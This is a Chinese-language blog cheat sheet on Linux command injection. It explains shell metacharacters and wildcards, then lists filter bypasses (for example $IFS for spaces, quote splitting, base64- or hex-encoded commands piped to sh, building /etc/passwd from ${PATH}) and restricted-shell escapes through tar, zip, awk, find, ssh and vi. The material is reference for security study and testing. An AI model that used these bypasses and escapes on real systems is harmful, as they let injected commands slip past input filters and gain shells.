Linux 命令注入备忘录

Catalpa 网络安全爱好者

Linux 下命令注入方式总结和常见过滤绕过备忘录

SHELL 常用字符

|

管道符号,将上一条指令的标准输出作为下一条指令的标准输入

正则表达式中表示 “或者”

&

将一条命令放在后台执行,或表示标准输出和标准错误输出

||

表示 “或者”,连接两条命令,当前一条命令执行失败后面的命令才会执行

&&

表示 “和”,当前一条命令执行成功后面的命令才会执行

;

分号拼接连续几条命令,就算前面的命令执行失败后面也会执行

$

美元符号用来获取变量的值

()

组合命令执行,称为指令群组,可以结合分号执行多条命令

1
(ls -la ; ifconfig)

shell 中针对指令群组会产生 subshell 执行

`

反引号表示 “指令替代”,将反引号包裹的命令输出结果作为另一个指令的输入

$()

也表示指令替代

单引号将包裹住的内容视为字符串,其中 $ 等符号不会被进一步处理

双引号和单引号功能相同,但是双引号包裹的字符串中 $ 等符号会被拓展为变量

(())

连续两个小括号可以用来进行算数运算,类似 let 指令

{}

大括号可用于字符组合

1
cat {./te,st}{st,st}

最终会生成

1
2
3
4
cat ./test
cat ./test
cat ./stst
cat ./stst

另用于实现匿名函数

1
{ cmd1; cmd2; cmd3;}

第一条命令和大括号之间要有空格,每条命令后要有分号

正则表达式中表示范围

[]

中括号常用于流程控制,起判断作用,在正则表达式中表示范围或者集合

1
cat ./te[0-z]t

但中括号中不能使用 && 等逻辑字符

[[]]

双中括号用于字符串比较测试,允许在其中使用 || && 等逻辑符号

>

大于号表示输出重定向,如果目标文件已经存在则覆盖其中的内容

1
echo "test" > test

shell 中提供了叫做 noclobber 的特性,它可以防止重定向不经意间修改了目标文件,打开此特性后如果进行重定向覆盖文件,shell 会报告错误而不覆盖目标文件。

1
2
3
4
5
6
iot@ubuntu:~/Desktop$ set -o noclobber
iot@ubuntu:~/Desktop$ echo "overwrite" > test
bash: test:无法覆盖已存在的文件
iot@ubuntu:~/Desktop$ set +o noclobber
iot@ubuntu:~/Desktop$ echo "overwrite" > test
iot@ubuntu:~/Desktop$

<

小于号表示输入重定向

>>

双大于号表示输出重定向追加

<<

1
cmd << end

双小于号从标准输入中读取输入,直到遇到指定的字符串(end)结束

如果输入不使用引号包裹,则命令会执行变量替换,如果使用 <<- ,则读取的时候会忽略每行输入前面的 tab

通配符

字符解释
*匹配任意长度任意字符
?匹配任意单个字符
[list]匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list]匹配指定范围外的任意单个字符或字符集合
[!list][^list]
{str1,str2,…}匹配 srt1 或者 srt2 或者更多字符串,也可以是集合
IFS由 < space > 或 < tab > 或 < enter > 三者之一组成
CR由 < enter > 产生
!执行 history 中的命令

专用字符集

字符意义
[:alnum:]任意数字或者字母
[:alpha:]任意字母
[:space:]空格
[:lower:]小写字母
[:digit:]任意数字
[:upper:]任意大写字母
[:cntrl:]控制符
[:graph:]图形
[:print:]可打印字符
[:punct:]标点符号
[:xdigit:]十六进制数
[:blank:]空白字符

使用专用字符集例子,注意要用双中括号

1
cat ./te[[:alpha:]]t

重定向组合应用

  • cmd >| file 和单个大于号功能相同,但它可以忽略 noclobber 的限制
  • :> file 将文件截断为 0 长度,文件不存在则创建
  • cmd >&n 将命令输出到文件描述符 n
  • cmd m>&n 把输出到文件描述符 m 的信息重定向到 n

字符过滤绕过

空格

  • 用 $IFS 绕过
1
2
3
cat$IFStest
cat${IFS}test
cat$IFS$9test
  • 用重定向符号绕过
1
2
cat<test
cat<>test
  • bash 中使用大括号绕过
1
{cat,./test}
  • 环境变量绕过
1
2
3
4
iot@ubuntu:~/Desktop/test$ x=$'cat\x20test'&&$x
test
iot@ubuntu:~/Desktop/test$ x=$'cat\x09test'&&$x
test

关键字绕过

  • 用 $@
1
c$@at ./test
  • 用环境变量绕过
1
x=c;y=a;z=t;$x$y$z test
  • 用编码绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 1. base64
iot@ubuntu:~/Desktop/test$ echo "cat test" | base64
Y2F0IHRlc3QK
iot@ubuntu:~/Desktop/test$ echo "Y2F0IHRlc3QK" | base64 -d | sh

# 2. hex
iot@ubuntu:~/Desktop/test$ echo "cat test" | xxd -ps
63617420746573740a
iot@ubuntu:~/Desktop/test$ echo "63617420746573740a" | xxd -r -p | sh

# 3. printf
# printf 支持多种编码输出
iot@ubuntu:~/Desktop/test$ $(printf '\154\163')
test
iot@ubuntu:~/Desktop/test$ $(printf '\x6c\x73')
test
  • 单引号和双引号
1
2
3
4
iot@ubuntu:~/Desktop/test$ c"a"t ./test
test
iot@ubuntu:~/Desktop/test$ cat ./t'e'st
test
  • 反斜线
1
2
iot@ubuntu:~/Desktop/test$ c\at ./t\e\st
test
  • 用环境变量绕过
1
2
3
4
5
6
7
# 绕过斜线
cat ${PATH:0:1}etc${PATH:0:1}passwd
# 特殊变量
${IFS} # 分隔符
${PS2} # >
${PS4} # +
${9} # 空

其他特殊用法

1. 问号

1
cat ./te??

2. []

[…] 匹配括号中的任一个字符

1
cat ./te[abcdsf]t

3. {}

{…} 匹配大括号中所有模式

1
cat ./te{a,e,s,t,f}t
1
cat ./te{a..z}t

[…] 和 {…} 的区别

[…] 当文件不存在时它会变成普通的字符串

1
2
iot@ubuntu:~/Desktop$ cat ./te[abcdf]t
cat: './te[abcdf]t': 没有那个文件或目录

而 {…} 当文件不存在时依然会展开

1
2
3
4
5
iot@ubuntu:~/Desktop$ cat ./te{a,e,t,f}t
cat: ./teat: 没有那个文件或目录
cat: ./teet: 没有那个文件或目录
cat: ./tett: 没有那个文件或目录
cat: ./teft: 没有那个文件或目录

4. 通配符

  • ? * 等通配符不能匹配 /

  • 可以创建文件名包含通配符的文件

1
2
3
iot@ubuntu:~/Desktop$ touch 'tes*'
iot@ubuntu:~/Desktop$ ls tes*
'tes*' test

5. 星号

直接执行 * 相当于执行

1
$(dir *)

6. alias

alias 覆盖指令

1
2
3
4
5
iot@ubuntu:~/Desktop/test$ cat test
test
iot@ubuntu:~/Desktop/test$ alias cat="pwd"
iot@ubuntu:~/Desktop/test$ cat test
/home/iot/Desktop/test

参数注入/rbash escape

Github 开源项目 GTFOBins (https://gtfobins.github.io/) 总结了大量 Linux 下可用于逃逸/提权/执行命令的二进制文件,Windows 环境下有 LOLBAS (https://lolbas-project.github.io/)

检查当前 shell

1
echo $SHELL

vi/vim、ed、ftp、gdb、more、less、man 等文本编辑/显示工具

都可以通过输入 !/bin/sh 获取 shell,vi/vim 中要先输入冒号。

tar

tar 具有一个 checkpoint 参数,这个参数指定每写入 n 个记录之后设置一个检查点,在检查点可以执行任意操作。

1
tar -cf ./exp.tar ./* --checkpoint=1 --checkpoint-action=exec="/bin/bash"

zip

zip 有 unzip-command 参数,可以用于执行命令

1
zip ./test.zip ./test -T --unzip-command="sh -c /bin/bash"

scp

scp -S 参数指定一个程序用来加密链接,这里可以指定可控的脚本或程序

1
scp -S ./1.sh ./test root@x.x.x.x:/tmp

awk

1
awk 'BEGIN {system("/bin/sh")}'

find

find 的 exec 参数可以用来执行命令

1
find ./ -name test -exec sh \;

ssh

  1. ssh -t 参数可以指定在目标上执行的命令
1
ssh iot@192.168.152.129 -t "ls"
  1. ProxyCommand 选项
1
ssh -o ProxyCommand="sh -c ./1.sh" 127.0.0.1

git

1
2
git help status
:/bin/sh

nmap

nmap 早期版本(before May/2009)有一个 –interactive 参数,执行后进入交互式终端,然后输入 !sh 即可获取 shell。

tcpdump

tcpdump 有 -z 参数,可以执行任意程序,但是不能控制参数,tcpdump 默认提供一个参数即保存的文件名

1
2
3
4
5
test sudo tcpdump -n -i ens33 -G1 -w ./test -z gzip
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
gzip: ./test.gz: Permission denied
gzip: ./test.gz: Permission denied
gzip: ./test.gz: Permission denied

参考文献

https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

https://blog.zeddyu.info

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

  • Title: Linux 命令注入备忘录
  • Author: Catalpa
  • Created at : 2022-03-21 00:00:00
  • Updated at : 2024-10-17 08:39:40
  • Link: https://wzt.ac.cn/2022/03/21/command-inject/
  • License: This work is licensed under CC BY-SA 4.0.